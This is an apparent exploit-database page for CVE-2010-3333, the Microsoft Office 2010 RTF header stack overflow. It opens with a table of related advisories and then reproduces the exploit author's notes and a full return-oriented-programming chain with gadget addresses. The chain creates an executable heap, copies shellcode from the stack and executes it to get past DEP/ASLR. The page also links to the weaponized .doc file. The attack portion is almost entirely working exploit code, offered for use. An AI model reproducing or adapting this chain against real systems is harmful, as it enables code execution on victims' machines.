| Reporter | Title | Published | Views | Family All 52 |
|---|---|---|---|---|
| MS Office 2010 RTF Header Stack Overflow Vulnerability Exploity Exploit | 3 Jul 201100:00 | – | zdt | |
| Office 2003 SP3, Office 2007 SP2, Office 2011 Stack-based buffer overflow | 30 Jan 201400:00 | – | zdt | |
| Exploit for Out-of-bounds Write in Adobe Acrobat | 20 Dec 201911:44 | – | gitee | |
| CVE-2010-3333 | 10 Nov 201000:00 | – | attackerkb | |
| CVE-2010-3333 | 6 Jan 201123:00 | – | circl | |
| Microsoft Office Stack-based Buffer Overflow Vulnerability | 3 Mar 202200:00 | – | cisa_kev | |
| Microsoft Office RTF Stack Buffer Overflow (MS10-087; CVE-2010-3333) | 9 Nov 201000:00 | – | checkpoint_advisories | |
| Microsoft Office RTF Stack Buffer Overflow (MS10-087) - Ver2 (CVE-2010-3333) | 26 Mar 201500:00 | – | checkpoint_advisories | |
| CVE-2010-3333 | 10 Nov 201001:00 | – | cve | |
| CVE-2010-3333 | 10 Nov 201001:00 | – | cvelist |
# Exploit Title: MS Office 2010 RTF Header Stack Overflow Vulnerability
Exploit
# Date: 7/3/2011
# Author: Snake ( Shahriyar.j < at > gmail )
# Version: MS Office <= 2010
# Tested on: MS Office 2010 ( 14.0.4734.1000) - Windows 7
# CVE : CVE-2010-3333
# This is the exploit I wrote for Abysssec "The Arashi" article.
# It gracefully bypass DEP/ASLR in MS Office 2010,
# and we named this method "Ikazuchi DEP/ASRL Bypass" : >
# unfortunately msgr3en.dll loads a few seconds after opining office,
# so just need to open open Office , and then open exploit after a few second and saw a nice calc.
#
# The Arashi : http://abysssec.com/files/The_Arashi.pdf
# http://www.exploit-db.com/docs/17469.pdf
#
# me : twitter.com/ponez
# aslo check here for Persian docs of this methods and more :
# http://www.0days.ir/article/
#
# and the Rop :
3F2CB9E0 POP ECX
RETN
# HeapCreate() IAT = 3F10115C
3F389CA5 MOV EAX,DWORD PTR DS:[ECX]
RETN
# EAX == HeapCreate() Address
3F39AFCF CALL EAX
RETN
# Call HeapCreate() and Create a Executable Heap :D
# after this call, EAX contain our Heap Address.
0x3F2CB9E0 POP ECX
RETN
# pop 0x00008000 into ECX
0x3F39CB46 ADD EAX,ECX
POP ESI
RETN
# add ECX to EAX and instead of calling HeapAlloc,
# now EAX point to the RWX Heap :D
0x3F2CB9E0 POP ECX
RETN
# pop 0x3F3B3DC0 into ECX, it is a writable address.
0x3F2233CC MOV DWORD PTR DS:[ECX],EAX
RETN
# storing our RWX Heap Address into 0x3F3B3DC0 ( ECX ) for
further use ;)
0x3F2D59DF POP EAX
ADD DWORD PTR DS:[EAX],ESP
RETN
# pop 0x3F3B3DC4 into EAX , it is writable address with zero!
# then we add ESP to the Zero which result in storing ESP into
that address,
# we need ESP address for copying shellcode ( which stores in
Stack ),
# and we have to get it dynamically at run-time, now with my
tricky instruction, we have it!
0x3F2F18CC POP EAX
RETN
# pop 0x3F3B3DC4 ( ESP address ) into EAX
0x3F2B745E MOV ECX,DWORD PTR DS:[EAX]
RETN
# now ECX point to nearly offset of Stack.
0x3F39795E POP EDX
RETN
# pop 0x00000024 into EDX
0x3F39CB44 ADD ECX,EDX
ADD EAX,ECX
POP ESI
RETN
# add 0x24 to ECX ( Stack address )
0x3F398267 MOV EAX,ECX
RETN
# EAX = ECX ; )
0x3F3A16DE MOV DWORD PTR DS:[ECX],EAX
XOR EAX,EAX
POP ESI
RETN
# mov EAX ( Stack Address + 24 = Current ESP value ) into the
current Stack Location,
# and the popping it into ESI ! now ESI point where shellcode
stores in stack :D
0x3F398267 MOV EAX,ECX
RETN
# EAX = ECX ; )
3F2CB9E0 POP ECX
RETN
# pop 0x3F3B3DC0 ( Saved Heap address ) into ECX
0x3F389CA5 MOV EAX,DWORD PTR DS:[ECX]
RETN
# now EAX point to our RWX Heap
0x3F2B0A7C XCHG EAX,EDI
RETN 4
# EDI = Our RWX Heap Address
3F2CB9E0 POP ECX
RETN
# pop 0x3F3B3DC0 ( Saved Heap address ) into ECX
0x3F389CA5 MOV EAX,DWORD PTR DS:[ECX]
RETN
# now EAX point to our RWX Heap
0x3F38BEFB ADD AL,58
RETN
# just skip some junks ; )
3F2CB9E0 POP ECX
RETN
# pop 0x00000080 into ECX ( 0x80 * 4 = 0x200 = Copy lent )
3F3441B4 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
POP EDI
POP ESI
RETN
# Copy shellcode from stack into RWX Heap
3F39AFCF CALL EAX
RETN
# KABOOM !!!
Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17474.doc (cve-2011-3333_exploit.doc)Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation